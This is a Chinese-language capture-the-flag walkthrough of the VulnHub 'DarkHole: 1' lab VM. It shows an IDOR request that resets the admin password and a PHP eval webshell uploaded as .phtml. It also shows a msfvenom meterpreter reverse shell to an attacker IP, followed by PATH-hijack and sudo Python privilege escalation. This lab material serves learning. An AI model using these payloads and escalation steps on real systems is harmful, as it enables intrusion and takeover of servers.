[vulnhub] DarkHole: 1

https://www.vulnhub.com/entry/darkhole-1,724/

端口扫描主机发现

  1. 探测存活主机,184是靶机

    nmap -sP 192.168.75.0/24
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST
    Nmap scan report for 192.168.75.1
    Host is up (0.00027s latency).
    MAC Address: 00:50:56:C0:00:08 (VMware)
    Nmap scan report for 192.168.75.2
    Host is up (0.00016s latency).
    MAC Address: 00:50:56:FB:CA:45 (VMware)
    Nmap scan report for 192.168.75.184
    Host is up (0.00032s latency).
    MAC Address: 00:0C:29:61:C5:52 (VMware)
    Nmap scan report for 192.168.75.254
    Host is up (0.00018s latency).
    MAC Address: 00:50:56:FE:CA:7A (VMware)
    Nmap scan report for 192.168.75.151
    
  2. 探测主机所有开放端口

    nmap -sT -min-rate 10000 -p- 192.168.75.184
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST
    Nmap scan report for 192.168.75.184
    Host is up (0.0011s latency).
    Not shown: 65533 closed tcp ports (conn-refused)
    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    MAC Address: 00:0C:29:61:C5:52 (VMware)
    
  3. 探测服务版本以及系统版本

    nmap -sV -sT -O -p 80,22 192.168.75.184
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST
    Nmap scan report for 192.168.75.184
    Host is up (0.0022s latency).
    
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
    80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    MAC Address: 00:0C:29:61:C5:52 (VMware)
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running: Linux 4.X|5.X
    OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
    OS details: Linux 4.15 - 5.8
    Network Distance: 1 hop
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
  4. 扫描漏洞

    nmap -script=vuln -p 80,22 192.168.75.184
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 10:00 CST
    Nmap scan report for 192.168.75.184
    Host is up (0.00057s latency).
    
    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    | http-csrf: 
    | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.75.184
    |_http-dombased-xss: Couldn't find any DOM based XSS.
    | http-cookie-flags: 
    |   /: 
    |     PHPSESSID: 
    |       httponly flag not set
    |   /login.php: 
    |     PHPSESSID: 
    |_      httponly flag not set
    |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
    |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
    | http-enum: 
    |   /login.php: Possible admin folder
    |   /config/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    |   /css/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    |   /js/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    |_  /upload/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    MAC Address: 00:0C:29:61:C5:52 (VMware)
    

web渗透

  1. 访问主页,存在登录页面链接

    在这里插入图片描述

  2. 先扫描目录看看

    dirsearch -u http://192.168.75.184 -x 403,404 
    //
    [10:07:48] Starting:                                                                                                                                         
    [10:07:48] 301 -  313B  - /js  ->  http://192.168.75.184/js/                
    [10:08:10] 301 -  317B  - /config  ->  http://192.168.75.184/config/        
    [10:08:10] 200 -  460B  - /config/                                          
    [10:08:11] 301 -  314B  - /css  ->  http://192.168.75.184/css/              
    [10:08:12] 200 -   21B  - /dashboard.php                                    
    [10:08:21] 200 -  487B  - /js/                                              
    [10:08:23] 200 -    1KB - /login.php                                        
    [10:08:24] 302 -    0B  - /logout.php  ->  login.php                        
    [10:08:35] 200 -    1KB - /register.php                                     
    [10:08:45] 301 -  317B  - /upload  ->  http://192.168.75.184/upload/        
    [10:08:45] 200 -  456B  - /upload/       
    
    • /dashboard.php 无权限
    • /upload 上传文件夹
    • /config 存在database.php
  3. 登陆页面存在注册,我们注册用户test登录

    进去后发现可以update信息以及更改密码,感觉会存在注入

    在这里插入图片描述

  4. 测试是否存在注入

    • Details Update 部分

      使用sqlmap测试没找到注入点

    • Password Change 部分

      这部分没注入….但是修改密码区域可以抓包将传入的id值修改,我们可以将其修改为id=1的用户(可能是管理用户)

      POST /dashboard.php?id=2 HTTP/1.1
      Host: 192.168.75.184
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Accept-Encoding: gzip, deflate, br
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 20
      Origin: http://192.168.75.184
      Sec-GPC: 1
      Connection: keep-alive
      Referer: http://192.168.75.184/dashboard.php?id=2
      Cookie: PHPSESSID=aal4svnq3poomufcq5sv2lo2fu
      Upgrade-Insecure-Requests: 1
      Priority: u=0, i
      
      password=123456&id=1
      

      成功将包发送,提示Password has been change

  5. 登陆后台,用户名使用admin ,密码是用修改后的123456 ,成功进入

    在这里插入图片描述

    多了个上传文件框

  6. 尝试文件上传上传🐎

    • 直接上传2.php ,内容是一句马,提示:Sorry , Allow Ex : jpg,png,gif 看着像是白名单

    • 尝试了一下,不只是可以上传jpg,png,gif ,其他文件也可以,所以更像是把php类的文件后缀放进黑名单了

    • 这里涉及到一些文件上传CTF的套路,我们将php改为其他可以解释为php文件的后缀,我将其修改为phtml ,上传成功(我是抓包后修改的,也可以直接修改文件后缀然后直接上传)

      Content-Disposition: form-data; name="fileToUpload"; filename="2.phtml"
      Content-Type: application/octet-stream
      
      <?php @eval($_POST[x]); ?>
      
    • 上传的文件保存在了/upload路径,测试能否使用

      在这里插入图片描述

      可以正常包含

  7. 使用蚁🗡连接

    在这里插入图片描述

提权

  1. 我们先反弹shell ,靶机自带的nc不支持-e ,所以我们需要上传反弹shell脚本然后包含

    • 生成脚本

      msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.75.151 lport=1234 -f raw > getshell.php
      [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
      [-] No arch selected, selecting arch: php from the payload
      No encoder specified, outputting raw payload
      Payload size: 1115 bytes
      
    • 在蚁🗡将脚本上传upload文件夹里

      在这里插入图片描述

    • kali打开msf监听

      msf6 > use exploit/multi/handler 
      [*] Using configured payload generic/shell_reverse_tcp
      msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
      payload => php/meterpreter/reverse_tcp
      msf6 exploit(multi/handler) > set lhost 192.168.75.151
      lhost => 192.168.75.151
      msf6 exploit(multi/handler) > set lport 1234
      lport => 1234
      msf6 exploit(multi/handler) > run
      
    • 网页访问上传的脚本文件

      在这里插入图片描述

    • 获得shell

      [*] Started reverse TCP handler on 192.168.75.151:1234 
      [*] Sending stage (39927 bytes) to 192.168.75.184
      [*] Meterpreter session 1 opened (192.168.75.151:1234 -> 192.168.75.184:55480) at 2024-11-08 11:49:08 +0800
      
      meterpreter > 
      

      输入shell获得shell命令行

  2. 查看权限

    $ whoami
    www-data
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    $ uname -a
    Linux darkhole 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
    
  3. 寻找利用点

    • SUID权限

      $ find / -perm -u=s -type f 2>/dev/null
      /usr/lib/snapd/snap-confine
      /usr/lib/policykit-1/polkit-agent-helper-1
      /usr/lib/eject/dmcrypt-get-device
      /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      /usr/lib/openssh/ssh-keysign
      /usr/bin/su
      /usr/bin/at
      /usr/bin/umount
      /usr/bin/pkexec
      /usr/bin/sudo
      /usr/bin/passwd
      /usr/bin/chfn
      /usr/bin/chsh
      /usr/bin/gpasswd
      /usr/bin/fusermount
      /usr/bin/newgrp
      /usr/bin/mount
      /home/john/toto
      

      /home/john/toto 这个一看就不对劲

    • 数据库配置文件

      $ cat database.php
      <?php
      $connect = new mysqli("localhost",'john','john','darkhole');
      

      可以尝试密码碰撞ssh,但是密码错误

  4. 来到/home/john/ ,下有四个文件

    $ ls
    file.py
    password
    toto
    user.txt
    

    但是除了toto有读和执行权限,别的都没有权限,前面suid也搜索出了toto ,尝试利用

  5. 利用toto

    • 因为不知道有什么作用,我们直接执行

      $ ./toto
      uid=1001(john) gid=33(www-data) groups=33(www-data)
      
    • 我们通过蚁🗡下载该文件下来,使用IDA反编译看看写了啥

      int __fastcall main(int argc, const char **argv, const char **envp)
      {
        setuid(0x3E9u);
        setgid(0x3E9u);
        return system("id");
      }
      

      设置UID然后设置GID最后输出ID命令

    • 劫持环境变量

      因为他会执行id ,所以我们修改环境变量让他执行id的时候执行/bin/bash

      $ echo "/bin/bash" > /tmp/id
      $ chmod 777 /tmp/id
      $ export PATH=/tmp:$PATH 
      

      $ export PATH=/tmp:PATH 设置/tmp为环境变量的开头,那样就可以一开始就去/tmp寻找 id 也就是/bin/bash

      执行toto ,获得john的shell

      $ ./toto
      john@darkhole:/home/john$
      
  6. 获得john的用户后查看之前没权限看的文件

    • passwordjohn的密码,我们用它去ssh登录john获得更好的用户交互shell

      john@darkhole:~$ cat password 
      root123
      
    • file.py是空的

      ohn@darkhole:~$ cat file.py 
      
      
    • user.txt 一个flag

      john@darkhole:~$ cat user.txt 
      DarkHole{You_Can_DO_It}
      
  7. 寻找利用点

    • 查看sudo权限

      john@darkhole:~$ sudo -l
      [sudo] password for john: 
      Matching Defaults entries for john on darkhole:
          env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
      
      User john may run the following commands on darkhole:
          (root) /usr/bin/python3 /home/john/file.py
      

      可以使用root权限执行file.py文件,哦豁,可以提权了

    • 编辑file.py文件,将提权语句写入file.py

      ehco "import os;os.system('/bin/bash');" >> file.py
      
    • 使用sudo权限执行

      john@darkhole:~$ sudo /usr/bin/python3 /home/john/file.py 
      root@darkhole:
      

      获得root!!!

  8. 读取flag文件

    root@darkhole:~# cat root.txt 
    DarkHole{You_Are_Legend}
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/912740.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

4.1 WINDOWS XP,ReactOS对象与对象目录----1

系列文章目录 文章目录 系列文章目录4.1 对象与对象目录OBJECT_HEADERObpLookupEntryDirectory()NtCreateTimer() 4.1 对象与对象目录 “对象(Object)”这个词现在大家都已耳熟能详了&#xff0c;但是对象到底是什么呢?广义地说&#xff0c;对象就是“目标”&#xff0c;行为…

STM32H503开发(2)----STM32CubeProgrammer烧录

STM32H503开发----2.STM32CubeProgrammer烧录 概述硬件准备视频教学样品申请源码下载参考程序自举模式BOOT0设置UART烧录USB烧录 概述 STM32CubeProgrammer (STM32CubeProg) 是一款用于编程STM32产品的全功能多操作系统软件工具。 它提供了一个易用高效的环境&#xff0c;通过…

“双十一”电商狂欢进行时,在AI的加持下看网易云信IM、RTC如何助力商家!

作为一年一度的消费盛会&#xff0c;2024年“双十一”购物狂欢节早已拉开帷幕。蹲守直播间、在主播热情介绍中点开链接并加购&#xff0c;也已成为大多数人打开“双11”的重要方式。然而&#xff0c;在这火热的购物氛围背后&#xff0c;主播频频“翻车”、优质主播稀缺、客服响…

debian系统安装qt的时候 显示xcb相关文件缺失

如果是安装之后的问题 我们可以选择使用ldd的命令查看当前依赖的so那些文件确实 ldd /home/yinsir/Qt/5.15.2/gcc_64/plugins/platforms/libqxcb.so 本人在进行打包的时候 出现则会个报错 ERROR: ldd outputLine: “libxcb-util.so.1 > not found” ERROR: for binary: “/…

A023-基于SpringBoot的冷链物流系统的设计与实现

&#x1f64a;作者简介&#xff1a;在校研究生&#xff0c;拥有计算机专业的研究生开发团队&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取&#xff0c;记得注明来意哦~&#x1f339; 赠送计算机毕业设计600…

【数据分析】如何构建指标体系?

有哪些指标体系搭建模型&#xff1f;五个步骤教你从0开始搭建指标体系 一、企业指标体系搭建存在什么问题 许多企业在搭建数据指标体系时遇到了诸多难题&#xff0c;如问题定位不准确、数据采集不完整、目标不一致、报表无序、指标覆盖不全面以及报表价值未充分利用等。 1、…

C++20 概念与约束(1)—— SFINAE

1、从模板说起 众所周知&#xff0c;C在使用模板时&#xff0c;如果有多个模板匹配&#xff0c;则编译器会选择最匹配的一个模板进行实例化&#xff0c;这也正是模板特化和偏特化的依据。 根据上面这张图中的现象&#xff0c;列举下面几个示例&#xff1a; 1、不存在模板的情况…

基于Spring Boot的在线装修管理系统的设计与实现,LW+源码+讲解

摘 要 互联网发展至今&#xff0c;无论是其理论还是技术都已经成熟&#xff0c;而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播&#xff0c;搭配信息管理工具可以很好地为人们提供服务。针对信息管理混乱&#xff0c;出错率高&#xff0c;信息安全性差&#…

原生鸿蒙应用市场:赋能开发者全生命周期服务体验

文章目录 背景自动化检测前移&#xff1a;早发现&#xff0c;早解决技术细节&#xff1a;静态代码分析与兼容性测试应用场景 按需加载&#xff1a;优化性能&#xff0c;提升用户体验技术细节&#xff1a;模块化与懒加载实现应用场景 应用加密&#xff1a;保护应用代码安全&…

RDD 算子全面解析:从基础到进阶与面试要点

Spark 的介绍与搭建&#xff1a;从理论到实践_spark环境搭建-CSDN博客 Spark 的Standalone集群环境安装与测试-CSDN博客 PySpark 本地开发环境搭建与实践-CSDN博客 Spark 程序开发与提交&#xff1a;本地与集群模式全解析-CSDN博客 Spark on YARN&#xff1a;Spark集群模式…

配置多公钥在多平台使用Git

步骤很详细&#xff0c;直接上教程 当我们想在不同远程仓库平台配置不同公钥时会发现不进行额外配置是不行的&#xff0c;只会使用默认的公钥&#xff0c;本篇文章便是为了解决这个问题 进入C:\Users\[你的用户名]\.ssh文件夹 如果没有这个文件夹可以新建一下 在上述文件夹新建…

如何在 Android 上增加 SELinux 权限

SELinux&#xff08;Security-Enhanced Linux&#xff09;是一种强制访问控制&#xff08;MAC&#xff09;机制&#xff0c;它为 Android 系统提供了额外的安全层。通过 SELinux&#xff0c;系统管理员可以定义细粒度的安全策略&#xff0c;限制进程对文件、网络和其他资源的访…

新能源汽车与公共充电桩布局

近年来,全球范围内对新能源汽车产业的推动力度不断增强,中国新能源汽车市场也呈现蓬勃发展的势头,在政策与市场的共同推动下,新能源汽车销量持续增长。然而,据中国充电联盟数据显示,充电基础设施建设滞后于新能源汽车数量增长的现状导致充电桩供需不平衡,公共充电桩服务空白区域…

中科大:LLM知识遗忘评估与优化

&#x1f4d6;标题&#xff1a;A Closer Look at Machine Unlearning for Large Language Models &#x1f310;来源&#xff1a;arXiv, 2410.08109 &#x1f31f;摘要 &#x1f538;大型语言模型&#xff08;LLM&#xff09;可能会记住敏感或受版权保护的内容&#xff0c;从…

django+postgresql

PostgreSQL概述 PostgreSQL 是一个功能强大的开源关系数据库管理系统&#xff08;RDBMS&#xff09;&#xff0c;以其高度的稳定性、扩展性和社区支持而闻名。PostgreSQL 支持 SQL 标准并具有很多先进特性&#xff0c;如 ACID 合规、复杂查询、外键支持、事务处理、表分区、JS…

Flink CEP 入门

1&#xff0e;复杂事件处理 大数据应用领域存在业务逻辑非常复杂的应用系统&#xff0c;比如&#xff0c;一个应用要检测特定顺序先后发生的一组事件&#xff0c;对事件组进行分析或报警提示&#xff0c;若使用SQL 或者DataStream API 处理这类应用&#xff0c;过程相对来说比较…

CSS教程(三)- CSS 三大特性

1. 层叠性 介绍 多组CSS样式共同作用于一个元素&#xff0c;就会出现 覆盖&#xff08;层叠&#xff09; 另一个冲突的样式。 层叠原则 样式冲突&#xff1a;遵循就近原则&#xff08;哪个样式离结构近&#xff0c;就执行哪个样式&#xff09; 样式不冲突&#xff0c;就不会重…

粒子群优化双向深度学习!PSO-BiTCN-BiGRU-Attention多输入单输出回归预测

粒子群优化双向深度学习&#xff01;PSO-BiTCN-BiGRU-Attention多输入单输出回归预测 目录 粒子群优化双向深度学习&#xff01;PSO-BiTCN-BiGRU-Attention多输入单输出回归预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现PSO-BiTCN-BiGRU-Attention粒子…

Unity引擎智能座舱解决方案

作为全球领先的 3D 引擎之一&#xff0c;Unity引擎为车载3D HMI提供全栈支持。即为从概念设计到量产部署的整个 HMI 工作流程提供创意咨询、性能调优、项目开发等解决方案&#xff0c;从而为车载信息娱乐系统和智能驾驶座舱打造令人惊叹的交互式体验。 专为中国车企打造的HMI引…

ctfshow(316,317,318)--XSS漏洞--反射性XSS

反射型XSS相关知识 Web316 进入界面&#xff1a; 审计 显示是关于反射性XSS的题目。 思路 首先想到利用XSS平台解题&#xff0c;看其他师傅的wp提示flag是在cookie中。 当前页面的cookie是flagyou%20are%20not%20admin%20no%20flag。 但是这里我使用XSS平台&#xff0c;…